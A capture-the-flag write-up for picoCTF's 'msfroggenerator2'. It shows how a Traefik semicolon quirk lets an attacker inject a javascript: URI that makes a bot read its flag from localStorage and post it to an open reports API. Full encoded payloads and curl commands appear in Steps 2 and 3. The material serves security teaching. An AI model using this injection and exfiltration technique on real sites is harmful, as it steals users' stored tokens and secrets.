msfroggenerator2 picoCTF 2023 Solution

Description

1. Step 1Understand the Traefik semicolon-to-ampersand quirk

   Observation

   The source names Traefik as the reverse proxy, and the app takes a user-controlled url parameter for the bot. Traefik's odd semicolon handling in the query string is the way to inject a second url parameter that overrides the first.

   Traefik versions above 2.7.2 changed how they handle semicolons in query strings: a semicolon is treated as a parameter separator (equivalent to ampersand). So a URL like ?url=X;url=Y becomes ?url=X&url=Y, effectively replacing the first url parameter with the second.

   Learn more

   When you submit a report, the request flows through Traefik to the backend. The backend passes the URL parameter to the bot. By including a semicolon followed by another url= parameter, Traefik splits the query string at the semicolon, and the second url= value overwrites the first.

   This lets you replace any URL the backend would send to the bot with a JavaScript URI of your choosing, even though the application intends to validate and restrict which URLs the bot visits.

2. Step 2Craft a JavaScript payload to exfiltrate the flag

   Observation

   The bot keeps the flag in localStorage and will navigate to whatever URL the injection supplies. A javascript: URI runs code in the bot's own browser context, which can POST that stored value to the open reports API.

   Write JavaScript that reads the flag from localStorage, then calls the API to add a report with the flag as the screenshot value. Use URL encoding carefully: percent-encode the semicolon as %3b, quote characters as needed.

   js

   # The payload structure (URL-encoded):
   # url=http://api/some-path%3burl=javascript:fetch('/api/reports/add',{method:'POST',headers:{'Content-Type':'application/json','Authorization':'Bearer '+localStorage.getItem('flag')},body:JSON.stringify({screenshot:localStorage.getItem('flag')})})

   Copied!

   bash

   # Full curl command (replace PORT with your instance port):

   Copied!

   bash

   curl --globoff 'http://saturn.picoctf.net:PORT/api/reports/add?url=http://api/reports/add%3burl=javascript:fetch(%27/api/reports/add%27,{method:%27POST%27,headers:{%27Content-Type%27:%27application/json%27,%27Authorization%27:%27Bearer%20%27+localStorage.getItem(%27flag%27)},body:JSON.stringify({screenshot:localStorage.getItem(%27flag%27)})})'

   Copied!

   Expected output

   [{"screenshot":"picoCTF{fr33_50ftw4r3_fr33_fr0gs_...}", ...}]

   What didn't work first

   Tried: Paste the URL into the shell with a bare, unquoted semicolon instead of encoding it or quoting the argument.

   An unquoted semicolon is a shell command separator, so bash cuts the line in half: curl receives only the part before the semicolon, and the rest runs as its own (nonsense) command. Nothing about Traefik is involved in that failure. Either single-quote the whole URL, as the command above does, or percent-encode the semicolon as %3b (percent-encoding is case-insensitive, so %3B works identically). Confirm the split landed by checking which URL the bot actually visits.

   Tried: Use a data: URI instead of a javascript: URI to run the payload, expecting the bot's browser to execute inline HTML with a script tag.

   Modern Chromium headless browsers block navigation to data: URIs from non-file origins as a phishing mitigation, so the bot refuses to load one and no code runs. The javascript: scheme sidesteps that by executing in the current page's context rather than navigating to a new origin, which is why it is the right vehicle.

   Learn more

   The --globoff flag in curl turns off URL globbing, which otherwise treats {} as a set expression and [] as a range. Without it, curl tries to expand {screenshot:... as a glob and errors out instead of sending the URL.

   The bot visits the JavaScript URI, executes the code in its browser context, reads localStorage.getItem('flag') (which the bot loaded from the API), then POSTs a new report entry with the flag as the screenshot value. The Authorization header uses the flag value itself as the bearer token because that is how the bot is authenticated.

3. Step 3Retrieve the report containing the flag

   Observation

   The reports endpoint performs no authentication check on GET. Once the bot has POSTed the flag as a screenshot value, fetching the reports list reads it straight back.

   After the bot processes the report, fetch the reports list from the API. The most recent report should contain the flag as the screenshot value.

   bash

   curl 'http://saturn.picoctf.net:PORT/api/reports'

   Copied!

   What didn't work first

   Tried: Check localStorage in the browser DevTools directly by opening the app and inspecting storage, expecting to see the flag there.

   Only the bot's session holds the flag, because it authenticates with the challenge API and stores what comes back. Your own session never receives the token, so your DevTools storage shows nothing. The whole point of the exfiltration chain is making the bot read its own localStorage and send the value somewhere you can reach.

   Learn more

   The reports endpoint has no authentication check, so any user can read it. The bot's POST added a report whose screenshot field contains the flag. Parse the JSON response and look for the picoCTF string.

Flag

The Traefik semicolon quirk lets you inject a second url= parameter that replaces the intended destination with a JavaScript URI. The bot executes it and leaks the flag via the open reports API.